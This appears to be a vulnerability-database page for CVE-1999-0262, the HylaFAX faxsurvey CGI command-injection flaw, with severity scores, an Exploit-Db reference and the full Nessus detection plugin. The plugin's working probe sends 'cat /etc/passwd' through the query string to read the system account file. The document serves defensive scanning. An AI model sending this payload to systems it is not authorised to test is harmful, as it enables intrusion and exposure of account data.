Vulnerabilities > CVE-1999-0262 - Unspecified vulnerability in Renaud Deraison Faxsurvey

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
renaud-deraison
nessus
exploit available
NVD
Published: 1998-08-04
Updated: 2018-05-03

Summary

Hylafax faxsurvey CGI script on Linux allows remote attackers to execute arbitrary commands via shell metacharacters in the query string.

Vulnerable Configurations

Part Description Count
Application
Renaud_Deraison
1

Exploit-Db

descriptionHylafax 4.0 pl2 Faxsurvey Remote Command Execution Vulnerability. CVE-1999-0262. Remote exploit for unix platform
idEDB-ID:20462
last seen2016-02-02
modified1998-08-04
published1998-08-04
reporterTom
sourcehttps://www.exploit-db.com/download/20462/
titleHylafax 4.0 pl2 Faxsurvey Remote Command Execution Vulnerability

Nessus

NASL familyCGI abuses
NASL idFAXSURVEY.NASL
descriptionThe
last seen2020-06-01
modified2020-06-02
plugin id10067
published1999-06-22
reporterThis script is Copyright (C) 1999-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/10067
titleHylaFAX faxsurvey Arbitrary Command Execution
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if(description)
{
 script_id(10067);
 script_version ("1.44");
 script_cve_id("CVE-1999-0262");
 script_bugtraq_id(2056);

 script_name(english:"HylaFAX faxsurvey Arbitrary Command Execution");
 script_summary(english:"Checks if faxsurvey is vulnerable");
 
 script_set_attribute( attribute:"synopsis", value:
"A web application on the remote host has an arbitrary command
execution vulnerability." );
 script_set_attribute( attribute:"description",  value:
"The 'faxsurvey' CGI does not sanitize input to the query string.  A
remote attacker could exploit this to execute arbitrary commands." );
 script_set_attribute(
   attribute:"see_also",
   value:"https://seclists.org/bugtraq/1998/Aug/2"
 );
 script_set_attribute(
   attribute:"solution", 
   value:"Remove this CGI from the server."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "1998/08/04");
 script_cvs_date("Date: 2018/11/15 20:50:17");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_family(english:"CGI abuses");

 script_copyright(english:"This script is Copyright (C) 1999-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");

 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
 req = string(dir, "/faxsurvey?cat%20/etc/passwd");
 result = http_send_recv3(method:"GET", item:req, port:port);
 if (isnull(result)) exit(0);

 if(egrep(pattern:".*root:.*:0:[01]:.*", string:result[2]))
 {
   if (report_verbosity > 0)
   {
     result[2] = data_protection::redact_etc_passwd(output:result[2]);
     report = string(
       "\n",
       "Nessus exploited this issue by requesting the following URL :\n\n",
       "  ", build_url(qs:req, port:port), "\n"
     );

     if (report_verbosity > 1)
       report += string("\nWhich yielded :\n\n", result[2], "\n");

     security_hole(port:port, extra:report);
   }
   else security_hole(port);

   exit(0);
 }
}

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